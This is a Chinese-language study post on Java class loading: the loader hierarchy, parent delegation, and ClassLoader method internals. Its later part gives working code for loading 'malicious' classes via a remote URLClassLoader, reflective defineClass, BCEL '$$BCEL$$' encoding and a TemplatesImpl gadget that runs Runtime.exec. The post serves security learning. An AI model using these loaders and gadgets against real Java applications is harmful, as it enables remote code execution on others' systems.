【java安全】类加载机制与利用方式学习

学习一下java的类加载机制以及相关的利用方式

简介

Java类加载器(Java Classloader)是Java运行时环境(Java Runtime Environment)的一部分,负责动态加载Java类到Java虚拟机的内存空间中,用于加载系统、网络或者其他来源的类文件。Java源代码通过javac编译器编译成类文件,然后JVM来执行类文件中的字节码来执行程序。

类的加载就是由java类加载器实现的,作用将类文件进行动态加载到java虚拟机内存中运行。

类文件编译流程

以下图为例子,比如我们创建一个ClassLoaderTest.java文件运行,经过javac编译,然后生成ClassLoaderTest.class文件。这个java文件和生成的class文件都是存储在我们的磁盘当中。但如果我们需要将磁盘中的class文件在java虚拟机内存中运行,需要经过一系列的类的生命周期(加载、连接(验证-->准备-->解析)和初始化操作,最后就是我们的java虚拟机内存使用自身方法区中字节码二进制数据去引用堆区的Class对象。

image-20230704091300378

应用场景

1、资源隔离:不同jar包单独运行

2、热部署:在程序运行时更新Java类文件

3、代码保护:对Java字节码文件进行加密,再使用特定的Classloader进行解密加载,实现对项目代码的保护

类加载器分类

Java类加载器主要分为两种:一种是JVM自带的类加载器,分别为引导类加载器扩展类加载器系统类加载器。另外一种就是用户自定义的类加载器,可以通过继承java.lang.ClassLoader类的方式实现自己的类加载器。

引导类加载器

引导类加载器(BootstrapClassLoader),底层原生代码是C++语言编写,属于jvm一部分,不继承java.lang.ClassLoader类,也没有父加载器,主要负责加载核心java库(即JVM本身),存储在/jre/lib/rt.jar目录当中。(同时处于安全考虑,BootstrapClassLoader只加载包名为java、javax、sun等开头的类)。

我们使用Object类为例,看看其是否存在父加载器。因为Object类是所有子类的父类,归属于BootstrapClassLoader。发现并没有父类加载器,结果为null。

package com.xxf;

public class Test {
    public static void main(String[] args) {
        System.out.println(Object.class.getClassLoader());
    }
}
// null

扩展类加载器

扩展类加载器(ExtensionsClassLoader),由sun.misc.Launcher$ExtClassLoader类实现,用来在/jre/lib/ext或者java.ext.dirs中指明的目录加载java的扩展库。Java虚拟机会提供一个扩展库目录,此加载器在目录里面查找并加载java类。

比如以下目录的jar包均由扩展类加载器加载

image-20230703231905560

比如查看zipfs.jar中的一个类的类加载器

package com.xxf;

import com.sun.nio.zipfs.ZipInfo;

public class Test {
    public static void main(String[] args) {
        System.out.println(ZipInfo.class.getClassLoader());
    }
}
// sun.misc.Launcher$ExtClassLoader@330bedb4

App类加载器/系统类加载器

App类加载器/系统类加载器(AppClassLoader)由sun.misc.Launcher$AppClassLoader实现,一般通过(java.class.path或者Classpath环境变量)来加载Java类,也就是我们常说的classpath路径。通常我们是使用这个加载类来加载Java应用类,可以使用ClassLoader.getSystemClassLoader()来获取它。

比如我们写的测试类也是由它来加载

package com.xxf;

public class Test {
    public static void main(String[] args) {
        System.out.println(ClassLoader.getSystemClassLoader());
        System.out.println(Test.class.getClassLoader());
    }
}
// sun.misc.Launcher$AppClassLoader@18b4aac2
// sun.misc.Launcher$AppClassLoader@18b4aac2

双亲委派机制

通常情况下,我们就可以使用JVM默认三种类加载器进行相互配合使用,且是按需加载方式,就是我们需要使用该类的时候,才会将生成的class文件加载到内存当中生成class对象进行使用,且加载过程使用的是双亲委派模式,及把需要加载的类交由父加载器进行处理。

图片

img

双亲委派好处

1、避免类的重复加载

2、保证java核心类库的安全

ClassLoader类核心方法

除了上述BootstrapClassLoader,其他类加载器都是继承了CLassLoader类,我们就一起看看其类的核心方法。

loadclass

就是主要进行类加载的方法,默认的双亲委派机制就实现在这个方法中。

protected Class<?> loadClass(String name, boolean resolve)
            throws ClassNotFoundException
    {
        synchronized (getClassLoadingLock(name)) {
            // 首先检查这个classsh是否已经加载过了
            Class<?> c = findLoadedClass(name);
            if (c == null) {
                long t0 = System.nanoTime();
                try {
                    // c==null表示没有加载,如果有父类的加载器则让父类加载器加载
                    if (parent != null) {
                        c = parent.loadClass(name, false);
                    } else {
                        //如果父类的加载器为空 则说明递归到bootStrapClassloader了
                        //bootStrapClassloader比较特殊无法通过get获取
                        c = findBootstrapClassOrNull(name);
                    }
                } catch (ClassNotFoundException e) {}
                if (c == null) {
                    //如果bootstrapClassLoader 仍然没有加载过,则递归回来,尝试自己去加载class
                    long t1 = System.nanoTime();
                    c = findClass(name);
                    sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);
                    sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
                    sun.misc.PerfCounter.getFindClasses().increment();
                }
            }
            if (resolve) {
                resolveClass(c);
            }
            return c;
        }
    }

findClass

根据名称或位置加载.class字节码

这个方法只抛出了一个异常,没有默认实现,JDK1.2之后已不再提倡用户直接覆盖loadClass()方法,而是建议把自己的类加载逻辑实现到findClass()方法中。

 /**
 * @since  1.2
 */
protected Class<?> findClass(String name) throws ClassNotFoundException {
    throw new ClassNotFoundException(name);
}

所以,如果想定义一个自己的类加载器,并且要遵守双亲委派模型,那么可以继承ClassLoader,并且在findClass中实现你自己的加载逻辑即可

defineClass

把字节码转化为Class

protected final Class<?> defineClass(String name, byte[] b, int off, int len,
                                     ProtectionDomain protectionDomain)
    throws ClassFormatError
{
    protectionDomain = preDefineClass(name, protectionDomain);
    String source = defineClassSourceLocation(protectionDomain);
    Class<?> c = defineClass1(name, b, off, len, protectionDomain, source);
    postDefineClass(c, protectionDomain);
    return c;
}

resolveClass

链接指定Java类

protected final void resolveClass(Class<?> c) {
        resolveClass0(c);
    }

private native void resolveClass0(Class c);

主动破坏双亲委派机制

通过上面的实现可以知道,双亲委派核心是在loadclass中实现,那么要破坏双亲委派,则自定义一个classloader实现loadclass方法,方法中不进行委派即可

自定义类加载器

1、继承ClassLoader类

2、覆盖findClass()方法

3、在findClass()方法中调用defineClass()方法

如解密的ClassLoader

public class Decryption extends ClassLoader { // 继承ClassLoader类

    private String rootDir;

    public Decryption(String rootDir) {
        this.rootDir = rootDir;
    }

    @Override // 重写覆盖findClass
    protected Class<?> findClass(String className) throws ClassNotFoundException {
        Class<?> c = findLoadedClass(className);
        if (c != null) {
            return c;
        } else {
            ClassLoader parent = this.getParent();
            try {
                c = parent.loadClass(className);
            } catch (ClassNotFoundException e) {
                // System.out.println("父类无法加载你的class,抛出ClassNotFoundException,已捕获,继续运行");
            }
            if (c != null) {
                System.out.println("父类成功加载");
                return c;
            } else {// 自己加载,读取文件 转化成字节数组
                byte[] classData = getClassData(className);
                if (classData == null) {
                    throw new ClassNotFoundException();
                } else { // 调用defineClass()方法
                    c = defineClass(className, classData, 0, classData.length);
                    return c;
                }
            }
        }
    }

URLClassLoader

URLClassLoader类继承SecureClassLoader -> ClassLoader,可以加载本地磁盘和网络中的jar包类文件。

本地磁盘class文件调用

package com.yutt;

import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;

public class LoaderTest {
    public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, MalformedURLException {
        ClassLoader classLoader = new URLClassLoader(new URL[]{new URL("file://E:\\javaProject\\ClassloaderLearn\\src\\main\\java\\com\\xxf\\Test.class")});
        Class clazz = classLoader.loadClass("com.xxf.Test");
        clazz.newInstance();
    }
}

image-20230704100801957

网络传输class文件调用

package com.yutt;

import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;

public class LoaderTest {
    public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, MalformedURLException {
        ClassLoader classLoader = new URLClassLoader(new URL[]{new URL("http://192.168.199.212:9090/Test.class")});
        Class clazz = classLoader.loadClass("com.xxf.Test");
        clazz.newInstance();
    }
}

使用ClassLoader.defineClass 加载恶意类

package classloader;

import java.io.FileInputStream;
import java.lang.reflect.Method;
import java.util.Base64;

// 使用 ClassLoader.defineClass 加载内存恶意类
public class ClassLoader3 {
    public static void main(String[] args) {
        try {
//            读取恶意类字节码
            String cwd = System.getProperty("user.dir");
            byte[] buffer = new byte[4096];
            int n = new FileInputStream(String.format("%s/assets/Evil.class", cwd)).read(buffer);
            byte[] bytes = new byte[n];
            System.arraycopy(buffer, 0, bytes, 0, n);
            System.out.println(Base64.getEncoder().encodeToString(bytes));
//            获取ClassLoader
            Class loader = Class.forName("java.lang.ClassLoader");
//            反射获取ClassLoader.defineClass方法并调用
            Method method = loader.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
            method.setAccessible(true);
            Class clazz = (Class) method.invoke(ClassLoader.getSystemClassLoader(), bytes, 0, bytes.length);
//            创建恶意类实例,触发恶意代码
            clazz.newInstance();

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

使用BCELClassLoader​​加载恶意类

参考:BCEL ClassLoader去哪了

BCEL Classloadercom.sun.org.apache.bcel.internal.util.ClassLoader​在 JDK < 8u251之前存在于rt.jar中,他是一个ClassLoader,但是他重写了Java内置的ClassLoader#loadClass()​方法。

源码在这:核心是判断类名是否以"$\$BCEL$$$"开头,是则调用createClass​新建类

  protected Class loadClass(String class_name, boolean resolve)
    throws ClassNotFoundException
  {
    Class cl = null;

    /* First try: lookup hash table.
     */
    if((cl=(Class)classes.get(class_name)) == null) {
      /* Second try: Load system class using system class loader. You better
       * don't mess around with them.
       */
      for(int i=0; i < ignored_packages.length; i++) {
        if(class_name.startsWith(ignored_packages[i])) {
          cl = deferTo.loadClass(class_name);
          break;
        }
      }

      if(cl == null) {
        JavaClass clazz = null;

        /* Third try: Special request?
         */
        if(class_name.indexOf("$$BCEL$$") >= 0)
          clazz = createClass(class_name);
        else { // Fourth try: Load classes via repository
          if ((clazz = repository.loadClass(class_name)) != null) {
            clazz = modifyClass(clazz);
          }
          else
            throw new ClassNotFoundException(class_name);
        }

        if(clazz != null) {
          byte[] bytes  = clazz.getBytes();
          cl = defineClass(class_name, bytes, 0, bytes.length);
        } else // Fourth try: Use default class loader
          cl = Class.forName(class_name);
      }

      if(resolve)
        resolveClass(cl);
    }

    classes.put(class_name, cl);

    return cl;
  }

createClass​方法则去除开头的标识符,调用decode解码,parser​解析返回Javaclass,最终转化为Class

protected JavaClass createClass(String class_name) {
    int    index     = class_name.indexOf("$$BCEL$$");
    String real_name = class_name.substring(index + 8);

    JavaClass clazz = null;
    try {
      byte[]      bytes  = Utility.decode(real_name, true);
      ClassParser parser = new ClassParser(new ByteArrayInputStream(bytes), "foo");

      clazz = parser.parse();
    } catch(Throwable e) {
      e.printStackTrace();
      return null;
    }

    // Adapt the class name to the passed value
    ConstantPool cp = clazz.getConstantPool();

    ConstantClass cl = (ConstantClass)cp.getConstant(clazz.getClassNameIndex(),
                                                     Constants.CONSTANT_Class);
    ConstantUtf8 name = (ConstantUtf8)cp.getConstant(cl.getNameIndex(),
                                                     Constants.CONSTANT_Utf8);
    name.setBytes(class_name.replace('.', '/'));

    return clazz;
  }

利用代码:

package classloader;

import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;

import java.io.FileInputStream;

// 使用 BCELClassLoader 从内存加载恶意类
public class ClassLoader4 {
    public static void main(String[] args) {
        try {
            String cwd = System.getProperty("user.dir");
            byte[] buffer = new byte[4096];
            int n = new FileInputStream(String.format("%s/assets/Evil.class", cwd)).read(buffer);
            byte[] bytes = new byte[n];
            System.arraycopy(buffer, 0, bytes, 0, n);

            String name = Utility.encode(bytes, true);

            System.out.println(name);

            ClassLoader classLoader = new ClassLoader();
            String poc = String.format("$$BCEL$$%s", name);
            System.out.println(poc);

            if (true) {
                Class clazz = classLoader.loadClass(poc);
                clazz.newInstance();
            } else {
                Class.forName(poc, true, classLoader);
            }

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

使用TemplatesImpl​加载恶意类

参考:https://blog.weik1.top/2021/01/15/TemplatesImpl%E5%88%A9%E7%94%A8%E9%93%BE/

ClassLoader 的 defineClass 方法只能通过反射调用,在实际环境中很难有利用场景。但是在 TemplatesImpl 类中有一个内部类 TransletClassLoader 它重写了 defineClass,并且这里没有显式地声明其定义域。

Java中默认情况下,如果一个方法没有显式声明作用域,其作用域为default。所以也就是说这里的 defineClass 由其父类的 protected 类型变成了一个 default 类型的方法,可以被类外部调用。

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

image

于是找调用该内部类defineClass的方法,找到如下调用链

TemplatesImpl#getOutputProperties() ->TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()->TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()

尝试触发

package classloader;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import java.lang.reflect.Field;

// 使用 templatesImpl 从内存加载恶意类
public class ClassLoader5 {
    public static void main(String[] args) {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass(String.format("Evil%s", System.nanoTime()));

            CtClass superClass = pool.get(AbstractTranslet.class.getName());
            ctClass.setSuperclass(superClass);

            String os = System.getProperty("os.name");
            String cmd;
            if (os != null && os.toLowerCase().contains("win")) {
                cmd = "calc.exe";
            } else {
                cmd = "open -na Calculator.app";
            }

            String code = String.format("java.lang.Runtime.getRuntime().exec(\"%s\");", cmd.replace("\\", "\\\\").replace("\"", "\\\""));
            ctClass.makeClassInitializer().insertAfter(code);

            byte[] bytes = ctClass.toBytecode();

            TemplatesImpl templates = new TemplatesImpl();

            Class clazz = TemplatesImpl.class;
            Field field = clazz.getDeclaredField("_bytecodes");
            field.setAccessible(true);
            field.set(templates, new byte[][]{bytes});

            field = TemplatesImpl.class.getDeclaredField("_name");
            field.setAccessible(true);
            field.set(templates, "");

            field = TemplatesImpl.class.getDeclaredField("_tfactory");
            field.setAccessible(true);
            field.set(templates, new TransformerFactoryImpl());

            templates.getOutputProperties();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

‍参考资料

https://xz.aliyun.com/t/9002